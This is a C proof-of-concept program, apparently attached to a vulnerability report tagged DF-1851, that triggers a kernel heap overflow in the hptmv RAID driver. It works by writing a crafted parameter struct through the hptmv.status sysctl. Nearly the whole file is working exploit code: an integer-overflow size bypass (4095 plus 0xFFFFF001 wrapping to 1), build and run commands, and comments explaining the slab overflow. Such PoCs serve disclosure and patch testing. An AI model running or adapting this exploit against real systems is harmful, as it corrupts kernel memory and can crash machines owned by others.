DF-1851 / poc_hptmv_heapoverflow.c
/* * DF-1851 trigger: 32-bit integer overflow in hptmv HPT_IOCTL_PARAM * size check -> kernel heap overflow via sysctl hptmv.status write. * * Requires: device hptmv loaded, root (SYSCAP_NOSYSCTL_WR). * Build: cc -o poc_hptmv_heapoverflow poc_hptmv_heapoverflow.c * Run: sudo ./poc_hptmv_heapoverflow */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #pragma pack(push,8) struct hpt_ioctl_param { unsigned int Magic; /* 0 */ unsigned int dwIoControlCode; /* 4 */ void *lpInBuffer; /* 8 */ unsigned int nInBufferSize; /* 16 */ void *lpOutBuffer; /* 24 */ unsigned int nOutBufferSize; /* 32 */ unsigned int *lpBytesReturned; /* 40 */ }; /* sizeof == 48 */ #pragma pack(pop) #define HPT_IOCTL_MAGIC 0xA1B2C3D4U int main(void) { int mib[4]; size_t miblen = 4; if (sysctlnametomib("hptmv.status", mib, &miblen) < 0) { perror("sysctlnametomib(hptmv.status) -- is the hptmv module loaded?"); return 1; } /* 4096 bytes of attacker-controlled input, all mapped. */ char *in = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (in == MAP_FAILED) { perror("mmap"); return 1; } memset(in, 'A', 4096); char out[16]; /* nIn=4095, nOut=0xFFFFF001 => 32-bit sum = 0x100000001 -> 1, bypasses check. * kmalloc(1) returns a tiny slab; copyin(in, ke_area, 4095) overflows it. */ struct hpt_ioctl_param p; memset(&p, 0, sizeof(p)); p.Magic = HPT_IOCTL_MAGIC; p.dwIoControlCode = 0; p.lpInBuffer = in; p.nInBufferSize = 4095; p.lpOutBuffer = out; p.nOutBufferSize = 0xFFFFF001U; p.lpBytesReturned = NULL; if (sysctl(mib, miblen, NULL, 0, &p, sizeof(p)) < 0) perror("sysctl write returned (kernel likely panicked mid-copy)"); printf("survived -- if you see this, check dmesg for slab corruption\n"); return 0; } |